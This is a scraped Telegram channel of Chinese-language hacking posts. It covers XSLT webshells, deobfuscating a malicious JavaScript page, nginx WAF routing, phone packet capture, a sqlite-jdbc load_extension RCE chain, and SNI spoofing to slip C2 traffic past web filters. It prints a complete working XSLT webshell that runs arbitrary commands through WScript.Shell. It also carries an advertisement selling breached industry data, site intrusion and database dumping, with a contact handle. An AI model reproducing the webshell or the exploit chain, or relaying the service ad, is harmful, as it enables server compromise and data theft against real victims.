黑客 入侵攻击 web破解
866 subscribers
747 photos
48 links
黑客 入侵攻击 web破解
Download Telegram
🥳🥳🥳🥳🥳
在第二行中,xmlns:msxsl为自定义函数块的命名空间,xmlns:zcg为自定义函数的命名空间与前缀,可以任意命名。
🤔🤔🤔🤔🤔
第三行的msxsl:script声明了一个脚本块,其language属性指定了要使用的脚本语言,implements-prefix则与前面xmlns:zcg这个命名空间前缀相对应。
🚗🚗🚗🚗
在第七行通过zcg:xml(string(.))调用了这个自定义函数,由于自定义函数只能传入字符串、数字、日期等标量,以及XML的一系列对象,所以先通过string内置函数转换为字符串从而获取text,再传入函数中。同样的,由于Response、Server等对象是asp内置的,所以既不能在自定义函数中访问,也不能传递给自定义函数,所有的数据传递都是通过字符串进行的。
🥳🥳🥳🥳🥳
脚本块的函数则是简单的执行-返回,其返回值会替换所匹配的节点的内容,所以上述xsl的作用就是:将指定xml中/root节点的文本作为命令执行,并返回结果。
<?xml version='1.0'?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:zcg="zcgonvh">
<msxsl:script language="vbscript" implements-prefix="zcg">
<![CDATA[function xml(x):set a=createobject("wscript.shell"):set exec=a.Exec(x):xml=exec.stdout.readall&exec.stderr.readall:end function]]>
</msxsl:script>
<xsl:template match="/root">
<xsl:value-of select="zcg:xml(string(.))"/>
</xsl:template>
</xsl:stylesheet>
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥳🥳想来想去还是归结成一个系列吧,虽然说在现在各种讲究高大上的时代还谈webshell实在是一种没什么品味的做法。 基本上也就是一些新型webshell、特殊环境下的特殊利用、特殊webshell的菜刀中转脚本等,外带一些对应的分析。 先挖个坑,至于填坑么⋯⋯看情况吧。

🪩🪩相信所有人对xml都不陌生,其被广泛的应用于数据数据传输、保存与序列化中,是一种极为强大的数据格式。强大必然伴随着复杂,xml在发展中派生出了一系列标准,包括DTD、XSD、XDR、XPATH以及XSLT等。

🥳🥳XSLT全称为拓展样式表转换语言,其作用类似于css,通过指定的规则,将一个xml文档转换为另外的形式。指定的规则由另外一个xml文件描述,这个文件通常为xsl后缀。xsl语法相对较为复杂,详情可以参考msdn中“XSLT 参考”一节。
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰🥰🥰🥰🥰🥰🥰
这样做的情况下,如果站点比较多,就会导致nginx配置比较乱,而且当nginx配置多站点的情况下,会出现一些问题。我这里就借用安全宝的一份对比表来说明。
🔥🔥🔥🔥🔥🔥🔥
当一个用户访问到waf服务器时,首先获取host参数,根据网址配置里查询到对应的upstream,给预先定义的变量$upstream,从而达到正确转发的目的。
🥰🥰🥰🥰🥰🥰🥰
而且后期还可以将网站信息存储在数据库,当第一次访问的时候再加载到内存,达到动态加载的目的
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰🥰🥰🥰🥰🥰🥰
因此后面的c1h82by0(document)就显得很是危险,所以让我们看看s4tb[0]的内容并注释掉后面的内容,记得之前说的嘛?一个script块中的代码一直到出错为止都是可以正常运行的,所以不用管之后的代码会不会出错了,主要是后面的代码很可能是恶意代码,不能让恶意代码在我们自己的电脑上跑起来。
🥰🥰🥰🥰🥰🥰
至此,这个页面的核心内容我们已经全部了解了,至于后面的几个变量,解法也是一样的,如果想要练手的话,可以试着将页面内容全部还原成无混淆状态试试看。页面内容见附件。
function mylog(current, max)
{
if(current <= max)
{
console.log(current);
add(current+1, max);
}
}

mylog(1,3);
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
2🔥1
👅浅析手机抓包方法实践🎉
❄️❄️❄️❄️❄️❄️❄️❄️❄️
🔥🔥在移动逆向分析以及 App 开发的时候,总会需要对其网络行为进行监控测试,本文总结一些抓包思路,并对其使用方法进行实践🆒🆒
🚩🚩🚩🚩🚩🚩🚩🚩🚩
🥳🥳笔者认为在抓包界,Wireshark 应该算是综合排名第一的工具(其实 Wireshark 自带的命令行工具 tshark 更牛逼)👍👍
💡💡💡💡💡💡💡💡💡
本文总结记录了 5 种抓包方式,掌握其一即可进行实践,欢迎大家一起交流分享
👍实验步骤💰
在电脑主机上使用猎豹 Wifi之类的工具,开启热点,将所要测试的手机连接该热点,记录其IP地址

该方法简单粗暴高效,可以将捕获的数据包随时保存下来,便于后续分析或者进行 PCAP 可视化分析。

关于命令行工具 tshark 在此不做赘述,感兴趣的读者自行研究。

👍参数说明:🔔

-vv:获取详细的包信息(注意是两个 v 不是 w)
-s 0:不限数据包的长度,如果不加则只获取包头
-w xxx.pcap:捕获数据包名称以及存储位置(本例中保存在 sdcard 路径下,数据包名为 capture.pcap)
-i eth1:捕获制定的网卡(在 genymotion 虚拟机中,使用 busybox ifconfig 命令可以查看相关信息,一般 genymotion 的 ip 地址都为 10.xx.xx.x)
如果你想指定捕获的数据包长度,可以使用 -c 参数(例如 -c 128)
🎆🎆🎆🎆🎆🎆🎆🎆
♥️各行业实时一手数据,渗透拿站,拖库,价格实惠,需要的联系技术: @heikingkk 🤫
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1
🫐🫐🫐🫐🫐🫐
🎩🎩除了这些PRAGMA之外,在org.sqlite.SQLiteConfig之中,我们能找到更多的jdbc可控参数。比如DATE相关参数,这些不是由PRAGMA控制的,因此官网上找不到相关信息。

🧦🧦那么漏洞到底是什么呢?还得从更新文件里面找,我一开始是对比文件进行寻找的,结果完全看不出来哪儿有问题,结果答案就在这个不起眼的fix中。

🎆🎆这个漏洞本质上只能做到控制文件内容的文件写,结合sqlite的一些特性,那么整个漏洞的利用流程就可以推测出来了,实际就是进行两次外部数据库加载,一次随便一个db,一次dll,然后利用jdbc+load_extension进行RCE。
package test;
import java.io.File;import java.net.URL;import java.sql.Connection;import java.sql.DriverManager;import java.sql.Statement;
public class Test { public static void main(String[] args) throws Exception{
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
这是关于绕过网络过滤器的一系列博客文章的第一部分,每一部分都会介绍越来越高级的技术。
🌲🌲🌲🌲🌲🌲🌲
早在 2025 年(是的,那是很久以前的事了),我看到一条推文内容是关于如何使用 SNI 欺骗来绕过网络过滤器
🎩🎩🎩🎩🎩🎩
在开始探讨绕过网络过滤器/代理的各种技术之前,我想先简要介绍一下什么是网络过滤器以及它们可以有哪些不同的配置。
🧝🧝🧝🧝🧝🧝🧝
网络过滤器是一种用于检查互联网流量(特别是 HTTP 和 HTTPS 请求)的系统,以确定请求是否合法或是否应该被阻止。这些过滤器通常被称为 HTTP 代理。在许多情况下,网络过滤器会集成到防火墙(也称为应用层防火墙、企业网关、下一代防火墙等)中,这些防火墙除了具备标准的 TCP/IP 防火墙功能外,还具有入侵检测等附加功能。网络过滤器也可以运行在专用的代理服务器上,该服务器仅负责检查和过滤网络流量。
🚗🚗🚗🚗🚗🚗🚗
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🫐🫐现在我们了解了SNI是什么以及它的工作原理,接下来看看它与Web过滤器有什么关系。由于TLS握手过程中SNI字段中的主机名是以明文形式传输的,因此防火墙或代理服务器可以轻松地根据该主机名识别并阻止流量。
👍👍👍👍👍👍
🤭🤭这种攻击需要控制 TLS 请求,这可以通过在系统上运行的恶意软件,或者通过攻击者或具有系统访问权限的用户试图绕过 Web 过滤器来实现。
🎄🎄🎄🎄🎄🎄🎄
⭐️⭐️这种方法只有在恶意主机能够处理与合法主机名 SNI 的 TLS 握手时才有效。如果恶意主机受攻击者控制,则很容易实现这一点,而且一些 Web 服务器会自动接受任意 SNI。但是,如果无法控制恶意主机,则该系统可能无法为任意 SNI 提供正确的内容。
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔔🔔显然,仅通过检查 SNI 来阻止/允许 TLS 连接既不是一种先进,也不是一种可靠的 Web 过滤技术。我曾在渗透测试和客户安全加固/基础设施审查期间尝试过这种绕过方法,但遗憾的是从未成功。如果要实施 Web 过滤,则应采用更强大的技术,例如检查 TLS 流量。
🕯🕯这意味着,要绕过此类网络过滤器,您还需要控制相关证书的主体,使其与您指定的 SNI 完全匹配。这样一来,连接到任意被屏蔽的网站将变得不可能,因为它们的证书与伪造的 SNI 不匹配。但是,如果您也控制着服务器(例如,运行您的 C2 服务器时),则可以通过安装颁发给允许主机名的自签名证书来实现这一点。为了防止此类攻击,网络过滤器应始终正确验证证书链,并终止与不受信任证书的连接。
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM